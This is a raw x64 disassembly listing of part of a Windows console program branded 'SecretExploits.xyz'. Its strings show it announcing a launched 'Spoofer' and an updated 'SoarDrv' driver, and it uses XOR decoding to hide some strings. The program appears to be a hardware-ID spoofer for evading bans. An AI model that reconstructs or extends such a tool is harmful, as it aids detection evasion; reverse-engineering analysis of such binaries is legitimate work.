lea rdx, str._n
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
movdqa xmmword [rsp + 0x40], xmm8
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xde0]
call fcn.140037ee0
bts r12d, 0x1c
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xde0]
mov rcx, rdi
call fcn.140037300
btr r12d, 0x1c
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0xde0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str.___________secretexploits.xyz_______________________secretexploits.xyz_______________________secretexploits.xyz_____________n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
movdqa xmmword [rsp + 0x40], xmm9
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xdf0]
call fcn.140037ee0
bts r12d, 0x1d
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xdf0]
mov rcx, rdi
call fcn.140037300
btr r12d, 0x1d
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0xdf0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n_n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
movdqa xmmword [rsp + 0x40], xmm7
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xe00]
call fcn.140037ee0
bts r12d, 0x1b
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xe00]
mov rcx, rdi
call fcn.140037300
btr r12d, 0x1b
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0xe00]
call fcn.140036980
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor r8d, r8d
lea edx, [r8 + 3]
call qword [sym.imp.USER32.dll_ShowScrollBar]
xor r13d, r13d
mov rcx, qword [0x1400c21a8]
mov rax, rcx
mov rdx, qword [0x1400c21a0]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x14002e1f0
xor ebx, ebx
nop word [rax + rax]
sub rcx, rdx
sar rcx, 6
cmp rcx, rbx
jbe 0x14003687f
shl rbx, 6
add rbx, rdx
mov rdx, rbx
lea rcx, [rbp + 0xe80]
call fcn.140036c60
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0xea0]
call fcn.140036c60
nop
lea rcx, str.e_0_31m
call fcn.1400022c0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor r8d, r8d
lea edx, [r8 + 3]
call qword [sym.imp.USER32.dll_ShowScrollBar]
lea rdx, [rbp + 0xea0]
lea rcx, [rbp - 0x40]
call fcn.140036c60
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14002dc7a
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14002dcc3
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14002dcbe
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140036865
mov rcx, r8
call fcn.14009bb5c
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov qword [rbp + 0xe28], rdi
lea rdx, [rbp + 0xe28]
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rbp]
movaps xmmword [rbp - 0x70], xmm1
mov eax, dword [rbp + 0x10]
mov dword [rbp - 0x60], eax
lea r9, [rbp - 0x80]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0xf20]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xf20]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rcx + rbx], al
jne 0x14002dd43
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
ja 0x140036879
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
cmp rbx, 0xf
ja 0x14002dd90
mov qword [rsp + 0x70], rbx
mov r8, rbx
lea rdx, [rbp + 0xf20]
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x60], 0
jmp 0x14002de2d
mov rdi, rbx
or rdi, 0xf
cmp rdi, rcx
jbe 0x14002ddaf
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14002ddd6
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14002ddf5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14003685f
mov rcx, rax
call fcn.14009b810
test rax, rax
je 0x140036858
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14002de02
test rcx, rcx
je 0x14002ddff
call fcn.14009b810
mov rsi, rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
mov r8, rbx
lea rdx, [rbp + 0xf20]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov esi, dword [reloc.WS2_32.dll_accept]
bts r12d, 0x15
movsd xmm0, qword [0x1400b2b88]
movsd qword [rbp + 0x30], xmm0
mov eax, dword [0x1400b2b90]
mov dword [rbp + 0x38], eax
movzx eax, word [0x1400b2b94]
mov word [rbp + 0x3c], ax
movzx eax, byte [0x1400b2b96]
mov byte [rbp + 0x3e], al
xor ecx, ecx
cmp esi, 2
jl 0x14002df6e
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm2, xmmword [0x1400b4b50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400b2b88]
xorps xmm2, xmm0
movd dword [rbp + 0x30], xmm2
movdqa xmm3, xmmword [0x1400b4b60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x34]
xorps xmm2, xmm1
movd dword [rbp + 0x34], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x30]
add r8, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
sub al, dl
add al, 0x36
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xf
jl 0x14002df80
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov rcx, rax
lea rdx, str.e_34m
call fcn.1400373b0
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
mov rcx, rax
call fcn.140038640
lea rdx, str.e_0m
mov rcx, rax
call fcn.1400373b0
mov rcx, rax
lea rdx, [0x1400b13b1]
call fcn.1400373b0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14002e047
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e042
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036865
call fcn.14009bb5c
lea rdx, str._n____Version:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov rcx, rax
lea rdx, str.e_34m
call fcn.1400373b0
lea rdx, [0x1400c20c0]
cmp qword [0x1400c20d8], 0xf
cmova rdx, qword [0x1400c20c0]
mov r8, qword [0x1400c20d0]
mov rcx, rax
call fcn.140038640
lea rdx, str.e_0m
mov rcx, rax
call fcn.1400373b0
mov rcx, rax
lea rdx, [0x1400b13b1]
call fcn.1400373b0
mov rcx, qword [0x1400c2110]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x11
jb 0x140036873
lea r9, [0x1400c2100]
cmp qword [0x1400c2118], 0xf
cmova r9, qword [0x1400c2100]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
lea rax, str._launched_Spoofer
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x60]
call fcn.140038520
bts r12d, 0x16
mov dword [rsp + 0x58], r12d
lea rdx, [rsp + 0x60]
lea rcx, [0x1400c1fc0]
call fcn.140047c40
xor r9d, r9d
lea r8, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str._Welcome_To_SecretExploits.xyz
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.e_0_31m
call fcn.1400022c0
nop
mov rdx, qword [rbp + 0xeb8]
cmp rdx, 0xf
jbe 0x14002e188
inc rdx
mov rcx, qword [rbp + 0xea0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e183
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003686c
call fcn.14009bb5c
mov rdx, qword [rbp + 0xe98]
cmp rdx, 0xf
jbe 0x14002e1c9
inc rdx
mov rcx, qword [rbp + 0xe80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e1c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003686c
call fcn.14009bb5c
inc r13d
mov rcx, qword [0x1400c21a8]
mov rax, rcx
mov rdx, qword [0x1400c21a0]
sub rax, rdx
sar rax, 6
movsxd rbx, r13d
cmp rbx, rax
jb 0x14002dc00
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor r8d, r8d
lea edx, [r8 + 3]
call qword [sym.imp.USER32.dll_ShowScrollBar]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b13b1]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xe10], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xe18], rax
movaps xmm0, xmmword [rbp + 0xe10]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x110]
call fcn.140037ee0
bts r12d, 0x17
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x110]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b13b1]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xd0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xd8], rax
movaps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x100]
call fcn.140037ee0
bts r12d, 0x18
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x100]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xe0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xe8], rax
movaps xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xf0]
call fcn.140037ee0
bts r12d, 0x19
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xf0]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, [0x1400b13b1]
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr r12d, 0x19
lea rcx, [rbp + 0xf0]
call fcn.140036980
btr r12d, 0x18
lea rcx, [rbp + 0x100]
call fcn.140036980
btr r12d, 0x17
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x110]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2244]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x120], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x128], rax
movaps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x170]
call fcn.140037ee0
bts r12d, 0x1a
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x170]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2240]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x130], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x138], rax
movaps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x160]
call fcn.140037ee0
or r12d, 0x20
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x140], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x148], rax
movaps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x150]
call fcn.140037ee0
or r12d, 1
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x150]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temp_1
call fcn.1400373b0
and r12d, 0xfffffffe
lea rcx, [rbp + 0x150]
call fcn.140036980
and r12d, 0xffffffdf
lea rcx, [rbp + 0x160]
call fcn.140036980
btr r12d, 0x1a
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x170]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2244]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x180], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x188], rax
movaps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1d0]
call fcn.140037ee0
or r12d, 2
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x1d0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2250]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x190], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x198], rax
movaps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1c0]
call fcn.140037ee0
or r12d, 4
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x1c0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x1a0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x1a8], rax
movaps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1b0]
call fcn.140037ee0
or r12d, 8
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x1b0]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temp_2
call fcn.1400373b0
and r12d, 0xfffffff7
lea rcx, [rbp + 0x1b0]
call fcn.140036980
and r12d, 0xfffffffb
lea rcx, [rbp + 0x1c0]
call fcn.140036980
and r12d, 0xfffffffd
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x1d0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2244]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x1e8], rax
movaps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x230]
call fcn.140037ee0
or r12d, 0x10
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x230]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b225c]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x1f0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x1f8], rax
movaps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x220]
call fcn.140037ee0
bts r12d, 0x14
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x220]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x200], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x208], rax
movaps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x210]
call fcn.140037ee0
bts r12d, 0x13
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x210]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temp_3
call fcn.1400373b0
btr r12d, 0x13
lea rcx, [rbp + 0x210]
call fcn.140036980
btr r12d, 0x14
lea rcx, [rbp + 0x220]
call fcn.140036980
and r12d, 0xffffffef
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x230]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2244]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x240], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x248], rax
movaps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x290]
call fcn.140037ee0
bts r12d, 0x12
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x290]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b227c]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x250], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x280]
call fcn.140037ee0
bts r12d, 0x11
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x280]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x260], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x268], rax
movaps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x270]
call fcn.140037ee0
bts r12d, 0x10
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x270]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temp_4__SoarDrv_Updated__n
call fcn.1400373b0
btr r12d, 0x10
lea rcx, [rbp + 0x270]
call fcn.140036980
btr r12d, 0x11
